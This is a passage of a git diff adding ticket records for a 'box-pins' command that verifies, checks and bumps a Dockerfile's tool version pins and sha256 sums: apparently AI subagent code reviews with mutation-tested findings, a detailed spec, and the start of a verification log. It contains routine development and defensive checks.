+| F3 | Minor | spec Edge cases ("A `why` is built from our own words plus an HTTP status or an error code"); plan T3 exact string `box-pins bump: : ; nothing written` | devteam.mjs:14049 (`await res.arrayBuffer()`); :14047 (the fetch catch) | A failure while the body is read is not wrapped. A timeout or reset mid-download prints undici's own text (`gh: The operation was aborted due to timeout`, or `terminated`), not `download of failed ()`. The fetch catch also skips the `e?.cause?.errors?.[0]?.code` path that `upstreamJson` takes, so a refused connection reads `failed (TypeError)`. The exit is still 1 and nothing is written. Wrap the `arrayBuffer()` in the same try and reuse `upstreamJson`'s code extraction. | fixed: download errors read 'download of failed (|timed out)'; tested with a refused URL and a stalled body (DEVTEAM_PINS_TIMEOUT_MS now bounds downloads too) | +| F4 | Minor | spec Security ("nothing written but the named Dockerfile") | devteam.mjs:14133-14139 | When `--dockerfile` names a symlink, `renameSync` replaces the link with a regular file and leaves the target unbumped. I reproduced it: the link became a file at v9.9.9 and the target stayed at v0.52.0. Nothing outside the named path is written, but what the path meant is silently changed. Resolve the file with `fs.realpathSync` first, or refuse a symlink. The kit's own `cloud/Dockerfile` is a regular file. | fixed: bump writes through the symlink's real path; tested (target bumped, link kept) | +| F5 | Suggestion | plan T3 test 1 ("only ARG lines were rewritten") | test/machine.test.mjs:1121 | The assertion compares only line counts, so it passes even if a non-ARG line is rewritten in place. Comparing every line that is not an `ARG =` line between before and after would prove what the message says. | fixed: the test compares every non-ARG line | + +Verdict: CHANGES 79c5d9a1e8fb18998c77309fe45a2d02a4f82093 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-4-2.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-4-2.md new file mode 100644 index 0000000..591f17d --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-4-2.md @@ -0,0 +1,17 @@ +# Task review, Task 4 (`box-pins installed`), pass 2 + +- Reviewer: task-reviewer (fresh subagent, cold confirm, claude-opus-5-5) +- Reviewed: a29a42f3cf7220b0ab6e66edb5e60ad307cd72d1 + +I read pass 1's record (task-4.md) and `git show a29a42f` for `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs`, and checked them against spec.md `### box-pins installed`. I extracted the commit with `git archive a29a42f` and ran `--test-name-pattern 'installed|task-4'` with the DEVTEAM_* variables unset. All four `installed` tests pass (44-47), including the new test 46. + +Each disposition, checked by mutating a scratch copy and running test 46: +- **F1 (machineWide).** The new test runs `installed` from a `git init` folder that has no settings.md and expects exit 0. When I removed `|| (command === 'box-pins' && positional[0] === 'installed')` from `machineWide` (devteam.mjs:444), test 46 failed at line 1337 with `no docs/devteam/project/settings.md here (.../not-a-project)`. Fixed as the disposition says. +- **F2 (relative bin).** `bin` is now `path.resolve(DEVTEAM_BOX_BIN || '/usr/local/bin')`. The test sets `DEVTEAM_BOX_BIN=.`, runs from `cwd: boxBin`, and puts the wrong-version shim first on PATH. When I put back the unresolved value, test 46 failed at line 1340 (exit 1, because the shims answered). Fixed. `path.join(bin, file)` on a resolved `bin` is always absolute, so "never a PATH lookup" now holds for every input. +- **F3 (pin named twice).** A `named` count is kept, and a tool named more than once prints `: named times in DEVTEAM_BOX_TOOLS`, counts as bad (exit 1) and is not run. When I disabled that check, test 46 failed at line 1343 on the regex. The exit-1 assertion alone would still pass, because the duplicate's last value `gh=2.105.0` mismatches anyway, but the regex makes the test bite. Fixed. + +Nothing new broke. The change touches only the `installed` arm, and the earlier tests 44, 45 and 47 still pass. The duplicate check runs after the "not in DEVTEAM_BOX_TOOLS" check, so the exit-code rules are unchanged except for the new exit-1 case. Unknown names behave as before: a duplicated unknown name prints its "not a tool" line once per time it appears. That is cosmetic, and it already exits 1. + +No findings. + +Verdict: APPROVE a29a42f3cf7220b0ab6e66edb5e60ad307cd72d1 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-4.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-4.md new file mode 100644 index 0000000..e2112eb --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-4.md @@ -0,0 +1,29 @@ +# Task review, Task 4 (`box-pins installed`), pass 1 + +- Reviewer: task-reviewer (fresh subagent, adversarial, claude-opus-5-5) +- Reviewed: 7cfb9eae0b38e04ac5cdddebf484d419a8ede4a9 + +I read `git show 7cfb9ea` for `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs`, Task 1's `BOX_TOOLS`, `firstVersion`, `pinForm` and `safe`, and the `machineWide` and `DEVTEAM_RUN` exemptions. I checked them against spec.md (`### box-pins installed`, Dispatch, done-when 5) and plan.md Task 4. I ran the three `installed` tests from a `git archive 7cfb9ea` copy on Node v18.20.4, and all pass. + +What holds: +- **Absolute path, no shell.** Each tool runs as `spawnSync(path.join(bin, file), args, …)` with no `shell`. `bin` is `DEVTEAM_BOX_BIN` or `/usr/local/bin`. claude-swap is read from `uv tool list`, and `BOX_TOOLS`' `env` adds `UV_TOOL_DIR=/opt/uv/tools` on top of `process.env`. The timeout is 20 s. +- **Version parsing on the real outputs.** All six parse correctly: ttyd `1.7.7-40e79c7` gives `1.7.7`, Claude Code gives `2.1.307`, gh's two lines give `2.104.0` (the first match, not the URL's `v2.104.0`), mise gives `2026.10.17` and is shown as `v2026.10.17` because its pin has a `v`, uv gives `0.13.7`, and claude-swap gives `1.0.0`. A `v` pin on a bare-printing tool (`claude-code=v1.2.3`) matches and prints `v1.2.3`. +- **Exit codes.** 0 when everything matches. 1 for a mismatch, a tool that did not run (ENOENT, `exit 3`, ETIMEDOUT, all checked), no version in its output, a tool missing from `DEVTEAM_BOX_TOOLS`, or an unknown name. 2 when the variable is unset or only whitespace. +- **Terminal safety.** I made a fake ttyd that prints an OSC escape before its version. Only the digits reach the output. Pins and unknown names go through `safe`, so a name that holds `ESC[31m` prints as `?`, and error codes and signals are `safe`d too. +- **The test fixture.** The kit is copied into a folder that is no repo, with project/ and run/ removed, as the image does at Dockerfile:155. The cwd is `nowhere`, and a shim folder that prints wrong versions comes first on PATH. + +Mutations, each run in a scratch copy against the three tests: +- PATH lookup (`spawnSync(file, …)`): tests 1 and 2 fail. +- No `UV_TOOL_DIR`: test 1 fails. +- No `pinForm`: test 1 fails, on mise. +- No `DEVTEAM_RUN` exemption: test 1's second run fails. +- `die` without code 2: test 3 fails. +- No `machineWide` entry for `installed`: **all three still pass** (F1). + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Minor | spec Dispatch ("`box-pins installed` is machine-wide: it joins the `machineWide` test"); quality.md §3 (mutate, check a test fails) | test/machine.test.mjs `installed` tests; devteam.mjs ~443 | No test covers the `machineWide` exemption. The kit and the cwd are both outside any repo, so `homeAt` never reaches the settings.md refusal, and removing `\|\| (command === 'box-pins' && positional[0] === 'installed')` leaves every test green. In a scratch run, the mutant run from a cwd that is a `git init` repo with no settings.md exits 1 with `no docs/devteam/project/settings.md here`, and the real code exits 0. One more `installed(...)` call with `cwd` set to a bare `git init` folder would guard it. | fixed: a test runs installed from a git repo with no settings.md (breaks without the machineWide exemption) | +| F2 | Minor | spec `installed` ("by absolute path under `` (never a PATH lookup …)") | devteam.mjs `installed` arm, `const bin = process.env.DEVTEAM_BOX_BIN \|\| '/usr/local/bin'` / `path.join(bin, file)` | A relative `DEVTEAM_BOX_BIN` is not made absolute. With `DEVTEAM_BOX_BIN=.`, `path.join` gives a bare `claude`, and spawnSync looks it up on PATH. A scratch run with a shim first on PATH printed the shim's `7.7.7` for every tool. Any other relative value resolves against the cwd. Only a test sets the knob (spec Security), so the impact is small. `path.resolve(bin, file)`, or refusing a non-absolute `DEVTEAM_BOX_BIN`, would keep "never a PATH lookup" true for every input. | fixed: DEVTEAM_BOX_BIN goes through path.resolve; a test with DEVTEAM_BOX_BIN=. and a wrong tool first on PATH | +| F3 | Suggestion | none cited | devteam.mjs `installed` arm, `want.set(...)` | When a name appears twice in `DEVTEAM_BOX_TOOLS`, the last value is used without any warning (`gh=9.9.9 … gh=1.2.3` passes). verify's problem 7 already guards the Dockerfile's `ENV`, so this only matters for a hand-set environment. A duplicate could be reported as a line with exit 1. | fixed: a tool named twice in DEVTEAM_BOX_TOOLS is a line and exit 1; tested | + +Verdict: APPROVE 7cfb9eae0b38e04ac5cdddebf484d419a8ede4a9 diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-5.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-5.md new file mode 100644 index 0000000..d2a785d --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/reviews/task-5.md @@ -0,0 +1,26 @@ +# Task review, Task 5 (help and the KIT_VIEWS comment), pass 1 + +- Reviewer: task-reviewer (fresh subagent, claude-opus-5-5) +- Reviewed: 4df78edff3a3c2ff2d1f9467d952f82a3e4685da + +I read `git show 4df78ed` for `docs/devteam/scripts/devteam.mjs` and `test/machine.test.mjs` against plan Task 5, spec Dispatch and done-when 6, and checked the help lines against `cmdBoxPins`, `BOX_TOOLS`, `BOX_PINS_USAGE` and `pinsFile`. I also ran the new help test, and it passes. + +- **Done-when 6.** Both comments above `KIT_VIEWS` are amended. The first drops "read-only". The second names `box-pins bump` as the one writer and says it rewrites only cloud/Dockerfile's pins. The help line says "Only the top package of the npm and PyPI tools is pinned: their dependencies resolve when the image is built". +- **No file added.** `git diff --diff-filter=A origin/main...4df78ed` adds files only under `docs/devteam-dev/tickets/kit-48-box-pins-command/`. Every other changed file is in touches (`docs/devteam/scripts/devteam.mjs`, `test/machine.test.mjs`). +- **Help matches the code:** + - The six tools match `BOX_TOOLS`. + - The hold form (`# hold: ` above the `_VERSION` ARG) matches the spec and the parser. + - Check's exit codes 1 (stale), 3 (unknown) and 0 match the code. + - Bump's "sums from the downloaded assets" and "stamps the release" are true. + - The line for `installed` is true: it runs each tool at its absolute image path, never through PATH, and compares against `DEVTEAM_BOX_TOOLS`. +- **The test** asserts every pattern the plan names. Its regexes are a little stricter than the plan's. + +None of the findings below blocks. All are Minor. + +| Id | Severity | Rule | Where | Finding | Disposition | +|---|---|---|---|---|---| +| F1 | Minor | spec Dispatch (`--dockerfile` names the file for verify, check and bump) | devteam.mjs:19505 | The help writes `[--dry-run] [--dockerfile p] in the kit's own checkout: ...`. The help uses three spaces to separate a command's syntax from its description, so here `[--dockerfile p]` reads as part of the description column, and it looks like it belongs to bump alone. `BOX_PINS_USAGE` says it right: "(verify, check and bump take --dockerfile )". | fixed: '(each [--dockerfile p])' sits with the flags | +| F2 | Minor | spec check (exit 2 for a file that can't be checked; Dispatch exit 2 for a missing file) | devteam.mjs:19505 | The help lists check's exits as "1 stale, 3 some unknown, 0 none" and leaves out 2: a missing file, or a file with a structure problem. A caller that gates on the exit (the playbook, kit-51) and reads only the help would miss that case. | fixed: check's exit 2 is in the help | +| F3 | Minor | spec done-when 6 / Dispatch (comment reads true) | devteam.mjs:426-428 | The comment says the views "run there as they always did". `box-pins` is new to them. It also says bump "rewrites only cloud/Dockerfile's pins", but `--dockerfile p` makes it rewrite any file it is given, through a temp file beside that file. Both statements are near true but loose. Something like "its views run there over no tickets; only `box-pins bump` writes: the pin ARGs of the Dockerfile it is given (cloud/Dockerfile by default)" would read true. | fixed: the comment no longer says 'as they always did', and says bump rewrites the pin ARGs of the Dockerfile it is given | + +Verdict: APPROVE 4df78edff3a3c2ff2d1f9467d952f82a3e4685da diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/spec.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/spec.md new file mode 100644 index 0000000..50e76ef --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/spec.md @@ -0,0 +1,135 @@ +# kit-48-box-pins-command: spec + +`devteam.mjs box-pins`: verify, check and bump the box image's pins in `cloud/Dockerfile`, and check what the image installed. + +Feature `box-latest-hub`, story BOXHUB-S3. Design: home's `project/designs/the-cloud-box-always-runs-the-latest-hub.md` (`devteam.mjs box-pins (kit-48)`, Contracts, Failure modes, Testing). Risk high: release tooling that decides what the box runs (D8). Depends on kit-46 (merged, PR #238) and kit-47 (merged, 090fc9d), which landed the pin `ARG`s and the `ENV` this reads. + +## Why + +The owner wants the box to ship with current tools at every kit release, and a check that says which pins are behind. kit-47 put every tool's pin in `ARG`s just above its layer (`_VERSION`, and for a downloaded binary `_SHA256_X86_64` / `_AARCH64`), a late `ARG DEVTEAM_RELEASE`, and `ENV DEVTEAM_KIT_RELEASE` / `DEVTEAM_BOX_TOOLS`. This ticket gives the release-prep PR its tool (`bump`), the playbook and the deploy gate their offline check (`verify --release`), the supervisor its stale-pin check (`check`), and the image build its smoke check (`installed`). + +## What changes (all in `docs/devteam/scripts/devteam.mjs`, tests in `test/machine.test.mjs`) + +### The tools (one table in the code) + +| name (in `DEVTEAM_BOX_TOOLS`) | ARG prefix | upstream | image path | binary (has sums) | +|---|---|---|---|---| +| `claude-code` | `CLAUDE_CODE` | npm `@anthropic-ai/claude-code` | `/claude --version` | no | +| `claude-swap` | `CLAUDE_SWAP` | PyPI `claude-swap` | `UV_TOOL_DIR=/opt/uv/tools /uv tool list` | no | +| `gh` | `GH` | GitHub `cli/cli` | `/gh --version` | yes: `gh__linux_amd64.tar.gz`, `…_arm64.tar.gz` | +| `ttyd` | `TTYD` | GitHub `tsl0922/ttyd` | `/ttyd --version` | yes: `ttyd.x86_64`, `ttyd.aarch64` | +| `mise` | `MISE` | GitHub `jdx/mise` | `/mise --version` | yes: `mise--linux-x64`, `…-linux-arm64` | +| `uv` | `UV` | GitHub `astral-sh/uv` | `/uv --version` | yes: `uv-x86_64-unknown-linux-gnu.tar.gz`, `uv-aarch64-…` | + +The asset names are the ones the Dockerfile's `RUN` lines download (`` is the pin without a leading `v`, `` with whatever the pin has). `` is `/usr/local/bin`, or `DEVTEAM_BOX_BIN` for tests. + +**Version form.** A pin keeps or drops a leading `v` exactly as its current `ARG` value does (gh `2.104.0` from tag `v2.104.0`; mise `v2026.10.17`; ttyd, uv bare). An upstream version is compared and written in that form. Versions compare by their numeric dotted parts; an upstream version that isn't `v?\d+(\.\d+)+` is not a release (skipped for GitHub, `unknown` for npm/PyPI). + +**Holds.** A tool is held when the line directly above its `ARG

_VERSION=` is `# hold: ` (the supervisor's relay of kit-47's ruling, m-20261115-004401439). A `# hold:` with an empty reason is a verify problem, and so is any line matching `^\s*#\s*hold\b` (any case, indented too, since BuildKit takes an indented `#` line as a comment; spec-3 F2) that is not exactly `# hold: ` (`# Hold: x`, `#hold:`, `# hold - x`; spec-2 F1), or that is not directly above a tool's `ARG

_VERSION=` (spec-1 F2). Either way a hold the owner meant can't be silently ignored and the tool moved by bump. + +### Dispatch + +- `box-pins` joins `KIT_VIEWS`, so `verify`, `check` and `bump` run in the kit's own checkout (which has no project). The comment above `KIT_VIEWS` (and the one before it, "nothing in them writes") is amended: `box-pins bump` writes `cloud/Dockerfile`, and nothing else in the views writes. +- `box-pins installed` is machine-wide: it joins the `machineWide` test and the `DEVTEAM_RUN` exemption (as `machine`, `operator-thread` and `hub`), so it runs from `/opt/devteam/kit` and a cwd that is no repo. +- `--dockerfile ` (default `/cloud/Dockerfile`, `repoRoot` the cwd's checkout) names the file for `verify`, `check` and `bump`. A missing file: `box-pins: no cloud/Dockerfile at (box-pins works on the kit's own checkout, or --dockerfile )`, exit 2. +- An unknown or missing mode: the usage line, exit 1. +- Help (the "Dashboard and releases" block) gets one line per mode, and says only the top package of the npm and PyPI tools is pinned: their dependencies resolve when the image is built. + +### `box-pins verify [--release vX.Y.Z]` (offline) + +Prints one line per problem, `box-pins verify: `, and exits 1; or prints `box-pins verify: ok, tools, release ` and exits 0. Problems: + +1. a tool's `ARG

_VERSION=` missing, given more than once, or empty; +2. a binary tool missing `_SHA256_X86_64` or `_SHA256_AARCH64`, or one given more than once; +3. a sum that is not 64 lowercase hex (`[0-9a-f]{64}`); +4. a tool's version, or a sum, written as a literal anywhere else in the file. A version is searched without its leading `v`, bounded by digits and dots only (`(?(?!\.?\d)`), so `/v2.104.0/` and `gh_2.104.0_linux` in a URL are caught (spec-1 F1); a sum is bounded by hex (`(?(?![0-9a-fA-F])`). Not searched: every pin `ARG` line of the table and `ARG DEVTEAM_RELEASE=` (so two tools at one version, or equal sums, are not strays; spec-1 F3), and `# hold:` lines, since a reason may name versions. A stray's problem line names its line number and the text matched (spec-2 F3). +5. `ARG DEVTEAM_RELEASE=` missing, given more than once, or not matching `^v\d+\.\d+\.\d+$`; +6. `--release` given and not equal to `DEVTEAM_RELEASE` (`--release` itself not `vX.Y.Z`: the usage error, exit 1); +7. `DEVTEAM_BOX_TOOLS` not set to exactly the table's six pairs `=$

_VERSION`, each once, in any order and nothing else: the value is found as the one line matching `^\s*(?:ENV\s+)?DEVTEAM_BOX_TOOLS="([^"]*)"` (in the real file the indented second line of a continued `ENV`); none, or more than one, is a problem (what `installed` compares against; my addition, so verify catches a tool added to the table but not to the `ENV`; spec-1 F5); +8. a hold problem, each one as the Holds paragraph says: a `# hold:` with no reason; a line matching `^\s*#\s*hold\b` (any case, indented or not) that is not exactly `# hold: `; or a hold not directly above a tool's `ARG

_VERSION=` (spec-3 F1: so `check` and `bump`, which refuse on problems 1-5, 7, 8, refuse on every one). + +`ARG` lines are matched as `^ARG =$` (kit-47's rule: one per line, unquoted). + +### `box-pins check [--json]` + +For each tool not held, the latest release upstream: +- npm: `GET //latest` (`/` in a scoped name as `%2f`), its `version`. Base `DEVTEAM_PINS_NPM`, default `https://registry.npmjs.org`. +- PyPI: `GET /pypi//json`, its `info.version`. Base `DEVTEAM_PINS_PYPI`, default `https://pypi.org`. +- GitHub: `GET /repos///releases?per_page=30`, the highest version among releases with neither `draft` nor `prerelease` and a tag that is a plain version. Base `DEVTEAM_PINS_GITHUB`, default `https://api.github.com`. Anonymous; `Authorization: Bearer $GH_TOKEN` when `GH_TOKEN` is set, on the API requests only: never on an asset download, which is a separate request with no auth header whatever its URL. I read the list rather than `/releases/latest` so a prerelease is skipped by this code, where a test can see it. + +Each request has a 15 s timeout. One line per tool, in table order: + +- `: current ` +- `: stale -> ` +- `: held ` (no request made) +- `: unknown ` (unreachable, a non-2xx status, bad JSON, no release found) + +A pin newer than upstream's latest reads `current`. Exit 1 when any tool is stale; else 3 when any is unknown (so a caller gating on the exit can tell "couldn't ask" from "all current"; spec-1 F8); else 0 (all current or held). `--json` prints `{ "box_pins": 1, "tools": [{ "name", "pinned", "status", "latest"?, "reason"?, "why"? }] }` with the same exit status. A file with any verify structure problem (1-5, 7, 8; not the release) can't be checked: its problems are printed as `box-pins check: ` lines (with `--json`, `{ "box_pins": 1, "problems": [...] }`) and it exits 2, as for a missing file (spec-1 F7). + +### `box-pins bump --release vX.Y.Z [--dry-run]` + +1. Verify the file's structure (problems 1-5, 7, 8 above, not the release equality); any problem: printed, exit 1, nothing written. A `--release` lower than the file's `DEVTEAM_RELEASE` is refused the same way (`box-pins bump: --release is older than DEVTEAM_RELEASE `); equal is allowed (spec-1 F9). +2. For each tool not held, the latest version as `check` finds it. For a binary tool whose latest differs from its pin, each arch's asset (by its name in the table, from the chosen release's `assets`, its `browser_download_url`) is downloaded, following redirects (GitHub answers a download with a 302 to its object store) and with no auth header, and hashed (sha256, streamed, 120 s timeout each). If the release publishes a `digest` (`sha256:`) for the asset and it differs from the hash, that is a failure. +3. Any failure (an upstream unreachable, no release, an asset missing, a download that fails, a digest mismatch): `box-pins bump: : ; nothing written`, exit 1, the file untouched. +4. The new text: each changed tool's `_VERSION` and sums, and `DEVTEAM_RELEASE` set to `--release`, by replacing those `ARG` lines only. It must pass verify `--release` (in memory) before it is written; it is written to a temp file in the Dockerfile's own directory, given the original's mode, and renamed over it (spec-1 F9). +5. Prints one line per changed `ARG` (` -> `), `held : ` per held tool, and `wrote ` (or `--dry-run: nothing written`). `--dry-run` downloads and hashes as a real bump does (so it shows the sums it would write) and leaves the file byte-identical. Exit 0. + +A held tool, and a tool already at its latest, are left exactly as they were and nothing is downloaded for them. + +### `box-pins installed` + +Machine-wide, run inside the image. Reads `DEVTEAM_BOX_TOOLS` (`name=version` pairs, space-separated); unset or empty: `box-pins installed: DEVTEAM_BOX_TOOLS is not set (not the box image?)`, exit 2. For each tool in the table, runs its command by absolute path under `` (never a PATH lookup; `execFileSync` of the full path, 20 s timeout), with `UV_TOOL_DIR=/opt/uv/tools` added for `uv tool list`. It reads stdout and takes: + +- claude-swap: the line `claude-swap v?`; +- the others: the first match of `(?: ` when it matches; `: installed , pinned ` when not; `: did not run ()` or `: no version in its output`; `: not in DEVTEAM_BOX_TOOLS`. Exit 0 when all match, else 1. A name in `DEVTEAM_BOX_TOOLS` that isn't in the table is a line and exit 1 too. + +## Contracts + +- **Provides:** `devteam.mjs box-pins verify [--release vX.Y.Z] | check [--json] | bump --release vX.Y.Z [--dry-run] | installed`, with `--dockerfile `, exit codes 0 / 1 / 2 (and 3 for check) as above, and `check --json`'s `box_pins: 1` shape. Consumers: the playbook chore (verify, check, bump), kit-49 (`box-deploy.yml`'s `verify --release`, `box-image.yml`'s `installed`), kit-51. +- **Consumes:** the box image `ENV` (`DEVTEAM_BOX_TOOLS`; `DEVTEAM_IMAGE_HUB` and `DEVTEAM_KIT_RELEASE` are not read here) and the pin `ARG` names, as kit-47's comment above the `ARG`s in `cloud/Dockerfile` documents them; the hold line as relayed in m-20261115-004401439. +- **Environment knobs (for tests):** `DEVTEAM_PINS_NPM`, `DEVTEAM_PINS_PYPI`, `DEVTEAM_PINS_GITHUB`, `DEVTEAM_BOX_BIN`. + +## Acceptance checks (the done-whens, restated) + +All in `test/machine.test.mjs`, no network: one in-process HTTP server stands in for npm, PyPI and GitHub (and the asset downloads, through the `browser_download_url`s it lists). `verify`, `check` and `bump` run a copy of the kit in a temporary git repo whose origin is `sanctuarycomputer/devteam` (so `KIT_VIEWS` applies, on a fork's CI too) against a temporary copy of `cloud/Dockerfile` named with `--dockerfile`. + +1. CI (`test.yml`, every job) passes. In that fixture repo with no `cloud/Dockerfile`, `box-pins verify` says so and exits 2. +2. `verify` exits 0 on the kit's real `cloud/Dockerfile`; exits 1 naming the problem for: a sum that isn't 64 lowercase hex; a binary tool missing an arch's sum; a tool's version left as a literal outside its `ARG` (in a URL: gh's `$GH_VERSION` replaced by its value in the download URL); `DEVTEAM_RELEASE` not `vX.Y.Z`; `--release v1.2.3` when `DEVTEAM_RELEASE` says otherwise; and (spec-1 F2) a `# hold:` line not directly above a `_VERSION` `ARG`, and (spec-2 F1) a `# Hold: x` directly above one. Each a case. With that `# Hold: x` line, `bump --release v9.9.9` exits 1 and leaves the file byte-identical, and `check` exits 2 (spec-3 F1). +3. `check`: one line per tool for current, stale ` -> `, held ``, unknown ``; exits 1 with one stale, 0 when all current or held (3 when some are unknown and none stale); a GitHub prerelease newer than the latest release is ignored; an unreachable upstream (a base that refuses connections) is unknown; `--json` gives the same. Each a case. With a fake `GH_TOKEN`, the fixture sees `Authorization: Bearer ` on every API request and no `Authorization` on any asset download; the fixture serves its assets from a path outside `DEVTEAM_PINS_GITHUB` (spec-1 F4). +4. `bump --release v9.9.9` sets every unheld tool to the fixture's latest, each arch's sum to the sha256 of the bytes the fixture serves (distinct bytes per asset, each download answered with a 302 to the bytes, as GitHub does; spec-2 F2), `DEVTEAM_RELEASE` to v9.9.9, and leaves a `# hold:` tool's lines unchanged; the result passes `verify --release v9.9.9`. `--dry-run` prints the change and the file is byte-identical. An upstream failure (one tool's asset answering 500) writes nothing. Each a case. +5. `installed`, run from a folder that is no repo, with a copy of the kit in a folder that is no repo: fake binaries in a `DEVTEAM_BOX_BIN` folder print each tool's real `--version` text (ttyd `ttyd version 1.7.7-40e79c7`, `2.1.307 (Claude Code)`, mise's, gh's, uv's, and `uv tool list`'s `claude-swap v1.0.0` line, which the fake uv prints only when `UV_TOOL_DIR=/opt/uv/tools`); a fake uv earlier on PATH (a mise shim) prints another version. Exit 0 when they match `DEVTEAM_BOX_TOOLS`; exit 1 naming the tool when one differs. Because the fake uv on PATH is wrong and the right one lists claude-swap only with `UV_TOOL_DIR` set, a PATH lookup or a missing `UV_TOOL_DIR` fails the test. +6. The `KIT_VIEWS` comment is amended; help says only the top package of the npm and PyPI tools is pinned; no file is added (the ticket's records here aside, as for kit-46). +7. Every test added clears `DEVTEAM_IMAGE_HUB`, `DEVTEAM_KIT_RELEASE` and `DEVTEAM_BOX_TOOLS` from the env it passes (explicitly, though `test/lib/kit.mjs` already scrubs `DEVTEAM_*`) and sets them only where it means to (`DEVTEAM_BOX_TOOLS` for `installed`). It also clears `GH_TOKEN` and `GITHUB_TOKEN` (not `DEVTEAM_*`, so not scrubbed), so the box owner's token never reaches the fixture (spec-1 F4). + +## Edge cases + +- A tool's latest upstream older than its pin: `current` in check; bump leaves it. +- npm/PyPI give a version that isn't a plain version (a prerelease made `latest` by mistake): `unknown not a release: `, and bump fails for it (writes nothing). Holding the tool is the way past it. +- GitHub answers 403 (rate limit, anonymous 60/h): `unknown HTTP 403`; set `GH_TOKEN`. +- A repo whose 30 most recent releases are all prereleases: `unknown no release`. +- `bump` with every tool current: only `DEVTEAM_RELEASE` changes. +- A `--release` equal to the current stamp and nothing stale: bump writes the same bytes (or skips the write when identical; my call: skip and say `unchanged`). +- CRLF line endings: not supported; the kit's Dockerfile is LF. `ARG` matching is per `\n` line. +- Output strings from the network are printed only if they match `^[\w.+-]{1,64}$`, else `?` (they go to a terminal, as kit-46 did for `kit`). A `why` is built from our own words plus an HTTP status or an error code. + +## Security + +- Every sum bump writes is the hash of the bytes it downloaded, cross-checked against GitHub's published digest when there is one. The image build downloads from the Dockerfile's own URL and checks that sum, so an API that lied about a download URL makes the build fail, not ship. +- `GH_TOKEN` is sent only to the GitHub API base, never to a download URL. +- Nothing runs what it downloads. `installed` runs only fixed absolute paths under `/usr/local/bin` (or `DEVTEAM_BOX_BIN`, which only a test sets; P6 trusts the box's agents not to point it elsewhere on purpose, and it would only change what is reported). +- No secret, no PII, nothing written but the named Dockerfile. + +## Out of scope + +- `box-deploy.yml`, `box-image.yml`, the boot (kit-49); `/box.json` and the hub page (kit-50); the end-to-end run (kit-51); the playbook chore. +- Pinning npm/PyPI dependencies below the top package (stated in help). +- Letting the operator run `box-pins installed` under its read-only guard (not asked; the boot and CI run it with no role). +- Checking that a non-kit repo's own `cloud/Dockerfile` is the kit's: box-pins acts on whatever file it is given, and a project's own Dockerfile would just fail verify. + +## Rulings and notes + +- m-20261115-004401439-supervisor: (1) a hold is a `# hold: ` line directly above the tool's `_VERSION` `ARG`, not on it; (2) run every kit test as `env -u DEVTEAM_RUN -u DEVTEAM_HOME -u DEVTEAM_ROLE -u DEVTEAM_TICKET -u DEVTEAM_FEATURE TMUX_TMPDIR=$(mktemp -d) node --test test/.test.mjs`. +- No other rulings or answers in `history` or `messages` at spec time. +- "No file is added": the ticket's records under `docs/devteam-dev/tickets/kit-48-box-pins-command/` are the exception, as the worker prompt directs and as the supervisor read it for kit-46 and kit-47. diff --git a/docs/devteam-dev/tickets/kit-48-box-pins-command/verification.md b/docs/devteam-dev/tickets/kit-48-box-pins-command/verification.md new file mode 100644 index 0000000..f3c5c47 --- /dev/null +++ b/docs/devteam-dev/tickets/kit-48-box-pins-command/verification.md @@ -0,0 +1,23 @@ +# kit-48-box-pins-command: verification + +At commit `3bd1bc38d0c2a92c75ef7c606357a6b5ac798d2f` (ticket/kit-48-box-pins-command), on the cloud box (Node 18.20.4), and in CI on PR #241. + +Local gate (every row's tests): `node /data/home/code/devteam-dev/docs/devteam/scripts/devteam.mjs gate test --